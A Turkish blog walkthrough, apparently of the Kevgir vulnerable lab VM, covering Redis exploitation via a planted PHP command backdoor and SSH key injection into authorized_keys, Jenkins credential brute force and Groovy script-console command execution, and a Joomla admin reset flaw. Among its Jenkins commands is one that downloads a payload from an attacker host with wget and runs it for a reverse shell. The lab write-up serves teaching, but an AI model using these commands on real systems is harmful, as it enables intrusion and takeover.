<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7dELlfuzskiodOSSiO9WG1_W9w7dHDf6sVi_jDEx_okOA1_iy24dWOzEMEv_gRT9hkf3-EQ00bfwOlyHdYbySbWvWZvjaT55VX-vm0Qpgoa8rjq7B5Zi96ny1THmqIcBMFE7nH7zh3ZQ/s1600/nfs_4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7dELlfuzskiodOSSiO9WG1_W9w7dHDf6sVi_jDEx_okOA1_iy24dWOzEMEv_gRT9hkf3-EQ00bfwOlyHdYbySbWvWZvjaT55VX-vm0Qpgoa8rjq7B5Zi96ny1THmqIcBMFE7nH7zh3ZQ/s640/nfs_4.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<span style="font-size: large;"><b>Redis - 1</b></span><br />
Redis, dataları key-value şeklinde eşleştiren ve cacheleyip hızlı bir şekilde cevabı dönen veriyapısı (data structure) sunucusudur. Ben demiyorum <a href="https://en.wikipedia.org/wiki/Redis" target="_blank">aha</a> <a href="https://tr.wikipedia.org/wiki/Redis" target="_blank">bunlar</a> <a href="https://eksisozluk.com/redis--2163265" target="_blank">diyor</a>. <b>Memcached </b>ezilmiş bayağı bunun altında diyolla.<br />
Bizim işimize yarayan ve sömüreceğimiz kısımlara gelelim şimdi;<br />
Redis, default olarak TCP 6379 portunda çalışır. Nmap ile yapmış olduğumuz tarama sonucundan da görebileceğiniz üzere Kevgir üzerinde default portu olan 6379 üzerinde çalışıyor.<br />
Nmap içerisinde bulunan scriptlerden <b>redis-info</b> ile sunucu üzerindeki redis hakkında kısa bilgiler elde edebiliriz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZrA-DSruxHZfdf99JYx6ECraLsXmjaIYKFUD60Wxp6NOQf5u1qgLQltPq52nP2VMjuKEjJ72y_ZBN6yfYmvdWdR443OWL4n88tUwxEZnS9axrjD_F1x_AfuvWuhx6JZ0hjX3HZFcuZck/s1600/redis_nmap.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZrA-DSruxHZfdf99JYx6ECraLsXmjaIYKFUD60Wxp6NOQf5u1qgLQltPq52nP2VMjuKEjJ72y_ZBN6yfYmvdWdR443OWL4n88tUwxEZnS9axrjD_F1x_AfuvWuhx6JZ0hjX3HZFcuZck/s400/redis_nmap.png" width="400" /></a></div>
Kali üzerinden redis sunucu ile iletişim kurabilmek için redis araçlarını kurmamız gerekmekte. Bu araçlar aşağıdaki gibi bir komutla kolayca kurulabilir.<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> apt-get install redis-tools
</code></pre>
Redis sunucusuna bağlanmak için<b> -h</b> parametresi ile uzak sunucunun adresini vermemiz gerekmekte.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCoIrkiNG3uqkoujZteZmO2oWI1ntK8rlYTOI-LmEArsXsM9u4IGry8tHj_noLKdYm6cDEmUZFKnivASRiWtuY9ukFlQVBRb4dT0iLAhUuKjNf8xPPYCk-y7C9nN_l_XhTlPerUnnxrTo/s1600/redis.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCoIrkiNG3uqkoujZteZmO2oWI1ntK8rlYTOI-LmEArsXsM9u4IGry8tHj_noLKdYm6cDEmUZFKnivASRiWtuY9ukFlQVBRb4dT0iLAhUuKjNf8xPPYCk-y7C9nN_l_XhTlPerUnnxrTo/s400/redis.png" width="400" /></a></div>
Görüldüğü gibi herhangi bir authentication mekanizması yok, kimlik doğrulaması konmamış.<br />
Şimdi, erişebildiğimiz Redis sunucusu üzerine yetkilerimiz dahilinde bir <b>dosya</b>, <b>içerik yazabiliriz</b>. Bunu iki şekilde exploit edip içeride shell almayı, komut çalıştırabilmeyi yazacam.<br />
<b>Birincisi</b>, sunucunun üzerinde yayın yapan web sunucuya, basit bir PHP kodu içeren ve sunucu üzerinde komut çalıştırmamıza yarayacak olan bir arka kapı oluşturmak. Veya direk shell almamızı sağlayacak <b>weevely</b>, <b>WeBaCoo</b> gibi araçlar ile oluşturacağımız dosyayı upload etmek.<br />
<b>İkincisi</b>, dosya yazma hakkımız olduğu için kullanıcıların ana dizinlerinde bulunan ve uzaktan SSH erişimlerinde şifre kullanmak yerine anahtar ile bağlanma için kullanılan <b>keyi oluşturup</b>, bunlar ile şifresiz bir şekilde direk o kullanıcı hakkıyla sisteme erişim sağlamak.<br />
<br />
Referans aldığım adres <a href="https://github.com/tfairane/Redis.turb" target="_blank">şurada</a>.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDlylwIs0U5hdT2voCl8tCplW-HTiJm2FuRg4DPRqXrZBbjVP14TGt04_KATV8jgk71bP98rm0q94HpJvk92bnG7N2-zkarlWM-sbZCqoHmgNCsr64PNPdpojNTv6QodUhfcHFeAu-k30/s1600/redis_1-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDlylwIs0U5hdT2voCl8tCplW-HTiJm2FuRg4DPRqXrZBbjVP14TGt04_KATV8jgk71bP98rm0q94HpJvk92bnG7N2-zkarlWM-sbZCqoHmgNCsr64PNPdpojNTv6QodUhfcHFeAu-k30/s400/redis_1-1.png" width="400" /></a></div>
Burada yaptıklarımız; web sunucusunun ana dizinine (bir şekilde bulduğumuzu varsayalım) <b>bomba.php</b> isminde bir dosya oluşturuyoruz ve bu dosya <b>GET</b> isteğiyle yapılan <b>komut</b> parametresindeki değeri alıp, bunu sunucu üzerinde komut olarak çalıştırabilecek PHP fonksiyonlarından biri olan <b>system'</b>e gönderiyor. Kayıt ettikten sonra (save-bgsave) işlem arka planda başlıyor ve yapılıyor.<br />
Şimdi sunucumuzun web sayfasında bomba.php'nin olduğu yere gidip, yapılandırdığımız şekilde komutlar yazalım.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivtsC9pCXDNlsgf5kJQ90NL40PLegrHnRng-l1KP7SXqT-157Qc0lXIxksNZ0SpL8dRqtr-JSXsN0ESXZH6v6CA3ll4yr6pE0nJHAPFQeOV5rYZtfDsX2O2QcxTjk9Q3TRK4Ig3DGop7w/s1600/redis_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivtsC9pCXDNlsgf5kJQ90NL40PLegrHnRng-l1KP7SXqT-157Qc0lXIxksNZ0SpL8dRqtr-JSXsN0ESXZH6v6CA3ll4yr6pE0nJHAPFQeOV5rYZtfDsX2O2QcxTjk9Q3TRK4Ig3DGop7w/s400/redis_2.png" width="400" /></a></div>
PHP kodumuz web sunucunun alanında ve onun yetkileriyle çalıştığı için doğal olarak kullanıcımız da <b>www-data</b> olarak görünüyor.<br />
İkinci bir komut daha çalıştıralım ve root dışındaki erişilebilir, aktif kullanıcı klasörlerini görelim.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVTsYsKciD2myDiM5Lmrih7U9GIJvmwnauk79qmtb8MjmrJF-XZybp6rhqIgBzZCWEP8fsuQm8ZyHIFL9PseiGjU0vva_FG0NPC1wI5hsV6L0etrhgIeP4nFxWxhmaXtyATNI9VPfxITk/s1600/redis_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVTsYsKciD2myDiM5Lmrih7U9GIJvmwnauk79qmtb8MjmrJF-XZybp6rhqIgBzZCWEP8fsuQm8ZyHIFL9PseiGjU0vva_FG0NPC1wI5hsV6L0etrhgIeP4nFxWxhmaXtyATNI9VPfxITk/s400/redis_3.png" width="400" /></a></div>
Burada görüldüğü üzere, yerel kullanıcıların bulunduğu home klasörünün altında iki kullanıcı için klasör var. Bunları brute force veya başka işler için kullanabiliriz.<br />
<b>SSH</b> başlığındaki shell alma anlatımda zaten <b>ssh_enumusers</b> ile sistem üzerindeki kullanıcılar hakkında bilgi almıştık, bu kısım da ek olarak cebimizde dursun.<br />
<br />
<span style="font-size: large;"><b>Redis - 2</b></span><br />
İşlemler sırasında referans aldığım adres <a href="http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/" target="_blank">şurada</a>. Çince mi Japonca mı bilemem (bkz: <a href="https://www.youtube.com/watch?v=_cKbVD9o_CA" target="_blank">tayyip aga</a>). Önemli değil zaten, ortak dilimiz olan linux üzerinden konuşabiliyoruz o abiler ile.<br />
Aşağıda yapılan adımları açıklamaya çalıştım.<br />
<br />
İlk olarak SSH iletişimini key üzerinden kurabilmek adına bir anahtar üretilmelidir.<br />
<b>1.</b> satırda vermiş olduğumu parametre ile <b>2048 bitlik RSA</b> anahtar çifti üretiliyor. Buna giriş sırasında soracağı parola verebiliriz, ben boş geçiyorum.<br />
<b>3.</b> satırda public key'imizi başına ve sonuna new line alacak şekilde <b>auth_key</b> isminde yeni bir dosyaya yazıyoruz. Bu dosyayı Redis sunucusu aracılığıyla hedef makineye yükleyeceğiz.<br />
<b>5 ve 6.</b> satırlarda anahtar standard input'tan gelen datayı yani auth_key içeriğini hafızaya atmasını söylüyoruz ve ardından Redis sunucuya giriş yapıyoruz.<br />
<b>8, 9, 10, 11</b> numaralı satırlarda yüklenecek dosya içeriğinin hangi konumda, hangi dosya altına ekleneceği ifade ediliyor. <b>SAVE</b> komutuyla yapılan işlemler sunucu tarafında gerçekleşmesi için işleniyor.<br />
<b>13 ve 16.</b> satırlarda root kullanıcısı için yapmış olduğumuz işlemin aynısını, diğer kullanıcıların yetkileriyle erişim elde edebilmek adına onların da ana klasöründe bulunan ssh klasörünün içerisindeki <b>authorized_keys</b> dosyasına yazması için de aynı işlemleri yapıyoruz.<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">1: ssh-keygen -t rsa
2:
3: (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
4:
5: cat auth_key | redis-cli -h kevgir -x set crackit
6: redis-cli -h kevgir
7:
8: config set dir /root/.ssh/
9: config get dir
10: config set dbfilename "authorized_keys"
11: save
12:
13: config set dir /home/user/.ssh/
14: save
15:
16: config set dir /home/admin/.ssh/
17:
18: ssh user@kevgir -p 1322 -i id_rsa
</code></pre>
Yaptıklarımızın uygulamadaki görüntüsü aşağıdadır.<br />
Resimde iki noktada hata alınmıştır. Bunları açıklamak gerekirse;<br />
<b>root</b> kullanıcısı için yapmaya çalıştığımız işlem muhtemelen yetki kısıtlamasından dolayı duvara toslamış ve <b>(error) ERR</b> şeklinde hata fırlatmış.<br />
<b>admin</b> kullanıcısı için yapılan işlemde ise erişimde kullanılacak anahtarı kaydedeceğimiz ssh klasörü bulunmadığı için hata aldık.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8A1-ginNg9F3Y8FrO0v_FpdkKfsiiJ2M9hPutVyE4N1W18YPKvWglh6TpBABU8OMCXLGTP60DLSLs3N-VBA4TDU_q4HsXM5xkvWCisiMyUZag0gIK_T6AuPDaztxn5foz0K3ZFemVAA8/s1600/redis_4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="322" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8A1-ginNg9F3Y8FrO0v_FpdkKfsiiJ2M9hPutVyE4N1W18YPKvWglh6TpBABU8OMCXLGTP60DLSLs3N-VBA4TDU_q4HsXM5xkvWCisiMyUZag0gIK_T6AuPDaztxn5foz0K3ZFemVAA8/s640/redis_4.png" width="640" /></a></div>
<br />
<br />
Yapılan işlemlerin ardından SSH ile anahtarımızı kullanarak sunucuyla iletişim kurmaya çalışalım.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8FLWDYA74asULsvyGE-zqcLsIgBqqL4zqki-591Xgzzu9KIK1w54DH3mwKXpCLh25yTpOMQgU3WQeXyq-ySndBeLWWEcrlFQRiAtX3R2IYKLhwiXeLrERmH3v6tVNFYDS2ZpCfZtUAZ0/s1600/redis_5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8FLWDYA74asULsvyGE-zqcLsIgBqqL4zqki-591Xgzzu9KIK1w54DH3mwKXpCLh25yTpOMQgU3WQeXyq-ySndBeLWWEcrlFQRiAtX3R2IYKLhwiXeLrERmH3v6tVNFYDS2ZpCfZtUAZ0/s400/redis_5.png" width="372" /></a></div>
Görüldüğü üzere Kevgir makinesinde <b>user</b> kullanıcısıyla SSH üzerinden shell alınmıştır.<br />
<br />
<span style="font-size: large;"><b>Jenkins</b></span><br />
Jenkins, kodlama sonrası yazılım geliştirme süreçlerinin otomatikleştirilmesini sağlayan continuous integration aracı imiş. ben demiyorum, <a href="https://eksisozluk.com/entry/30802740" target="_blank">şu abi diyor</a>.<br />
Biz ise işin bize düşen kısmına gelelim. Jenkins üzerinde <b>Script Console</b> alanı var. Ve bu alan, üzerinde <a href="https://en.wikipedia.org/wiki/Groovy_%28programming_language%29" target="_blank">Groovy script</a> diliyle kod yazıp çalıştırabilmemizi sağlıyor.<br />
Script alanı üzerinde çalıştıracağımız kodları doğal olarak <b>sunucu üzerinde</b> çalıştıracak komutlara da çevirebiliyoruz. Güzel, bu şekilde Jenkins yetkisi dahilinde sunucu üzerinde işlem yapabiliriz ve burada reverse meterpreter shell alıp daha rahat dolaşmaya çalışacağız.<br />
<br />
Jenkins, Kevgir üzerinde <b>9000</b>. portta çalışıyor. Script alanı için ziyaret etmemiz gereken sayfa şu; <a href="http://kevgir:9000/script">http://kevgir:9000/script</a><br />
Fakat bizi karşılayan bir login ekranı var. İşimizi her zaman olduğu gibi yine kaba kuvvet ile çözeceğiz anlaşılan. Brute force ile geçerli bir kullanıcı adı parola ikilisi elde etmemiz lazım. Bunun için Metasploit içerisinde <b>jenkins_login</b> adında hazır bir modül var, bunu kullanabiliriz.<br />
Çok uzatmadan modülü kullanıma alıp gerekli parametreleri ayarladıktan sonra çalıştıralım, görüntü kalabalığı olmaması adına <b>verbose</b> parametresi <b>false</b> olarak ayarlanmıştır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWhU8LO-wAPXnYTc73Mym1Lpft108cgBm2CN-nLhSfoAyqhM1mBp0Cy4uFYVOtoYFhkc7rPQnmZzbp9A2d25JOw3ciCkEkwxC0w-Bvo2y1k5IBbFj9GtUA9SF2QrFzU9GykEkH6tjRuAI/s1600/jenkins_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="362" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWhU8LO-wAPXnYTc73Mym1Lpft108cgBm2CN-nLhSfoAyqhM1mBp0Cy4uFYVOtoYFhkc7rPQnmZzbp9A2d25JOw3ciCkEkwxC0w-Bvo2y1k5IBbFj9GtUA9SF2QrFzU9GykEkH6tjRuAI/s640/jenkins_1.png" width="640" /></a></div>
Evet, <b>admin:hello </b>şeklinde geçerli bir kullanıcı adı ve parola elde ettik. Login kısmını bu bilgiler ile geçtikten sonra Script Console alanımıza kavuşuyoruz.<br />
Aşağıdaki adreslerde örnek Jenkins heçking anlatımları mevcut, oralara da göz atabilirsiniz.<br />
<ul>
<li><a href="http://dan.thoeisen.dk/hjem/lets-hack-a-jenkins-server/">http://dan.thoeisen.dk/hjem/lets-hack-a-jenkins-server/</a></li>
</ul>
<ul>
<li><a href="https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/">https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/</a></li>
</ul>
<ul>
<li><a href="https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/">https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/</a></li>
</ul>
Şimdi bu kod alanına yazacağımız ve bize sunucu üzerinde komut çalıştırmaya yarayacak kodlara gelelim. Aşağıda komut çalıştırmak için kullanılabilecek olan kod parçaları mevcut. Herhangi bir kod bloğu ile işlem yapılabilir. <br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> println new ProcessBuilder('komut','argüman').redirectErrorStream(true).start().text;
// veya
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'komut'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out>; $sout err>; $serr"
//veya
def process = "komut".execute()
println "Sonuc: ${process.text}"
</code></pre>
Reverse meterpreter shell'i almak için ben, Metasploit içerisindeki <b>web_delivery</b> modülünü kullanacağım. Bu modül, <b>Python</b>, <b>PHP</b> ve <b>Powershell</b>'e özel ürettiği payloadlar ile linux/windoz sistemler üzerinde shell açmamızı sağlar. Örnek olarak Python ile yapıyorum -modülün default'u Python ile-.<br />
Normal şartlar altında web_delivery modülünün bize verdiği çıktıyı tek seferde çalıştırıp direk shell almamız gerekir fakat <b>"</b>,<b> '</b> (tırnak işaretleri) script konsolunda sıkıntı çıkarabildiği için (escape karakterlerine rağmen :() can sıkmadan en kısa şekilde aşağıdaki gibi yapmaya çalıştım.<br />
Oluşan zararlının indirileceği sayfa belli, buradan <b>wget</b> ile çekip <b>tmp klasörünün</b> altına <b>backdoor</b> ismiyle kaydediyorum ve bu dosyayı <b>çalıştırıyorum</b>.<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> def process = "wget http://192.168.31.1:8080/gWOMF4 -O /tmp/bomba".execute()
def process2 = "ls -l /tmp".execute()
def process3 = "python /tmp/bomba".execute()
</code></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOGOC8VK2vj7yPaE8P5eVlB25_SGLSTOaso7UDbOk7ZbQFyOky0f5KQ7SztHfYSYKhKTywDkDjqY981bbul1xII52BSQxyaJPaNylnvcpys1tnKWpRTUejdlzY6DaScPM5ADjQuA2bNK0/s1600/jenkins_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="270" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOGOC8VK2vj7yPaE8P5eVlB25_SGLSTOaso7UDbOk7ZbQFyOky0f5KQ7SztHfYSYKhKTywDkDjqY981bbul1xII52BSQxyaJPaNylnvcpys1tnKWpRTUejdlzY6DaScPM5ADjQuA2bNK0/s640/jenkins_2.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Metasploit tarafında başlatmış olduğumuz modüle istek geldi, zararlı indirildi, çalıştırıldı ve shellimiz geldi.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUzYRpyW9XL-AEl-54p1fc14ZrONTqWDsjH6WgIWiDUGhjTDbL_WcuosQvPL3LxoExcdcJR3Fph3_rNZnsMqGlrsSYf9XY5uC69FvUsXyvhBMcj4G-qmkVJYk0D0z9OLEvdcbUHA9r2gY/s1600/jenkins_3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUzYRpyW9XL-AEl-54p1fc14ZrONTqWDsjH6WgIWiDUGhjTDbL_WcuosQvPL3LxoExcdcJR3Fph3_rNZnsMqGlrsSYf9XY5uC69FvUsXyvhBMcj4G-qmkVJYk0D0z9OLEvdcbUHA9r2gY/s640/jenkins_3.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<span style="font-size: large;"><b>Joomla</b></span><br />
Joomla, PHP ile geliştirilmiş açık kaynaklı bir içerik yönetim sistemidir (CMS).<br />
Joomla ile yapılmış web sayfalarına özel bir zafiyet tarama aracımız mevcut. Kendileri <b>Joomscan</b> olarak geçiyor. Çok uzatmadan başlayalım.<br />
Joomla uygulamamız Kevgir'in 8081. portu üzerinde çalışıyor. Uygulamanın ana sayfasının linkini joomscan'a verelim ve sonuçları döksün.<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> joomscan -u http://kevgir:8081
</code></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjs1RJnuR_yMjx1AFfqQWAUvomuIPtxKnZB0TWeIdEgYeNXyT2VlVDz1ovsk9CYRdhbaRiOW7xenw1NlvaNKb5QSh20cJ2TkIAEry_2SDE6wVYvN-Kdla-18Jc0SOj9JcpUyiPdbCBuyno/s1600/joomla_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="224" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjs1RJnuR_yMjx1AFfqQWAUvomuIPtxKnZB0TWeIdEgYeNXyT2VlVDz1ovsk9CYRdhbaRiOW7xenw1NlvaNKb5QSh20cJ2TkIAEry_2SDE6wVYvN-Kdla-18Jc0SOj9JcpUyiPdbCBuyno/s640/joomla_1.png" width="640" /></a></div>
<br />
<br />
Olası zafiyetleri sıraladıktan sonra kontrol ediyor ve eğer o zafiyeti doğrulamış ise <b>Vulnerable? </b>alanını <b>Yes</b> veya <b>No</b> olarak dolduruyor. Çıkan sonuçlar arasında <b>15. </b>sırada bulunan <b>admin parola değiştirme </b>başlığı dikkati çekiyor. Bu zafiyeti exploit etmek için yapılması gerekenler joomscan tarafında adım adım yazılmış durumda. Yine de kısaca yazayım, verilen urle gidiyoruz ve oradaki Token alanına <b>' </b>(tek tırnak) atıyoruz. Sonrasında <b>admin</b> için <b>şifre sıfırlama</b> ekranı geliyor ve burayı istediğimiz bir parola ile dolduruyoruz. Sonrasında <b>administrator</b> sayfasına erişmeye çalışıp, kullanıcı olarak <b>admin</b>, parola olarak da <b>sıfırlama ekranında girdiğimiz </b>parolayı giriyoruz ve sistemdeyiz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRnKycst6lTIlMOtJ7mAJCh2HxRzbT5uFgM1JSsh0nhhYEIVtKZKrFHd_jcik3LoXWMCDBWBceYwHLpeWZQWIv33ReW7rCcRhBBgzk4NXoCcUxJ4nymrMAAsEStksvmM9oehhpELJ3oa8/s1600/joomla_4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRnKycst6lTIlMOtJ7mAJCh2HxRzbT5uFgM1JSsh0nhhYEIVtKZKrFHd_jcik3LoXWMCDBWBceYwHLpeWZQWIv33ReW7rCcRhBBgzk4NXoCcUxJ4nymrMAAsEStksvmM9oehhpELJ3oa8/s640/joomla_4.png" width="640" /></a></div>
<br />
<br />
Bundan sonra yapılması gerekenleri çok anlatmaya gerek yok, birileri buradan yürüyüp sunucu üzerinde kod çalıştırabileceği bir PHP kodu içeren arka kapı eklemeyi anlatmış. Sonrası için o abimizin <a href="https://www.youtube.com/watch?v=-DGQGhf8DB8" target="_blank">videosuna </a>bakıyoruz.<br />
<br />
<b><span style="font-size: x-large;">Root</span> </b><br />
Şimdi geldik çetrefilli kısma, Linux bir
sistemde ilk ve en yetkili kullanıcı root'tur. Kevgir makinesine uzaktan
farklı yollar ile erişebildik ama hep kısıtları olan kullanıcılar olduk. Bu
aşamadan sonra <b>post-exploitation</b> olarak anılan kısmın ilk adımlarından
biri olan <b>yetki yükseltme (privilege escalation)</b> adımını
gerçekleştirip yetkimizi en üst düzeydeki kullanıcı olan root'a çekmeye
çalışacağız.<br />
Yetki yükseltme zafiyetleri genel olarak aşağıdaki nedenlerden dolayı gerçekleşir diyebiliriz;<br />
<ul>
<li>Sistem çekirdeğindeki (kernel) bir zafiyet ve exploit edilmesiyle</li>
<li>Yetkili kullanıcı haklarıyla çalışan bir uygulamanın exploit edilmesiyle</li>
<li>Konfigürasyon
ve kontrol eksikliklerinden kaynaklanan zafiyetler ile yetkili
kullanıcı olunması veya yetkili kullanıcı haklarıyla işlemler
yapılabilmesi ile.</li>
</ul>
g0tmi1k'in <a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/" target="_blank">şurada </a>dediği gibi "<b>Enumeration is the key</b>". Bu adımdan en önemli şey olabildiğince çok bilgi elde etmek, elde etmek ve tekrar elde etmek.<br />
<br />
--- Reklam --- <br />
Github <a href="https://github.com/Th3Gundy" target="_blank">adresimde</a> yeni başladığım ve denk geldiğim bir şeyler oldukça güncelleyeceğim Linux için yetki yükseltme ile ilgili <a href="https://github.com/Th3Gundy/linux-priv-esc" target="_blank">bir repo</a> oluşturdum.<br />
Burada
hem bilgi elde etmek için işe yarayacak güzel scriptler var, hem de
local privilege escalation için exploit arama, önerme, derleme vs. gibi işlemleri
yapan scriptler var. Bunun yanı sıra cheat sheet gibisinden bir şeyler
içeren bir README sayfası da oluşturmaya çalışıyorum. Bunlar için sizden
de <b>pull request</b> bekliyorum ;)<br />
--- Reklam ---<br />
<br />
Yukarıda yazdığım yöntemlerden herhangi biriyle sistem üzerinde shell aldık ve scriptlerimizden biriyle bilgi toplama için işlemlere başlayalım. Kurduğum Kevgir internete çıkmıyor, network'ü Host-only şekilde ayarladım. Bu yüzden github üzerinden repoyu indiremiyorum. Aldığım meterpreter shell üzerinden sisteme upload ediyorum. Görebildiğiniz üzere <b>linuxprivchecker.py</b> scripti home klasöründe bulunuyor.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8Bypq8QXdkojz8wwtCdrz0unSC2ymfgPvxyqMxnJei3EmrXWgo_BFToScQZyGv65XUs8tuLOYFgmQY20UADikUubLOV2NPBDLnhniKmC64J8MXEfA4JNEEeUJAeSYvon0bZDYv0k2TDk/s1600/root_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="289" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8Bypq8QXdkojz8wwtCdrz0unSC2ymfgPvxyqMxnJei3EmrXWgo_BFToScQZyGv65XUs8tuLOYFgmQY20UADikUubLOV2NPBDLnhniKmC64J8MXEfA4JNEEeUJAeSYvon0bZDYv0k2TDk/s640/root_1.png" width="640" /></a></div>
<br />
Meterpreter'in <b>shell</b> komutuyla sunucu üzerinde shell alıp yüklemiş olduğumuz python script'ini çalıştıralım ve verdiği çıktıları inceleyelim.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR6yOhwCc-ZD_G_xXT0gaJWo_pue2HrmrztsNVavNZgTHo6vzS9t6cS49I7mZwjl_WZYBXpz0ylFVEkrFjfdRDI0NNQKieK-xN0qhLodZ3HVnG4xXidGexeSW6euUFkZl8KxuU131yjZA/s1600/root_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR6yOhwCc-ZD_G_xXT0gaJWo_pue2HrmrztsNVavNZgTHo6vzS9t6cS49I7mZwjl_WZYBXpz0ylFVEkrFjfdRDI0NNQKieK-xN0qhLodZ3HVnG4xXidGexeSW6euUFkZl8KxuU131yjZA/s640/root_2.png" width="640" /></a></div>
<br />
Script farklı yerlere, farklı dosyalara, farklı komutlar ile bakıyor ve çıktıları diziyor ardı ardına. Burada konfigürasyon kaynaklı sıkıntılar olabilir bunları da iyi görüp avlamamız gerekiyor.<br />
Script'in çalışması bittiğinde <b>Shell Escape Sequences</b> denilen ve sistem üzerinde bulunan bazı uygulamaları kullanarak direk root veya başka biri yetkisiyle komut çalıştıp, shell alabilmemize imkan tanıyan araçların olduğu kısa bir cheatsheet gösteriliyor. Bunun ardına da yetki yükseltme için kullanılabilecek olası exploitleri ve exploit-db linklerini sıralıyor.<br />
<br />
<b>SUID Bit</b><br />
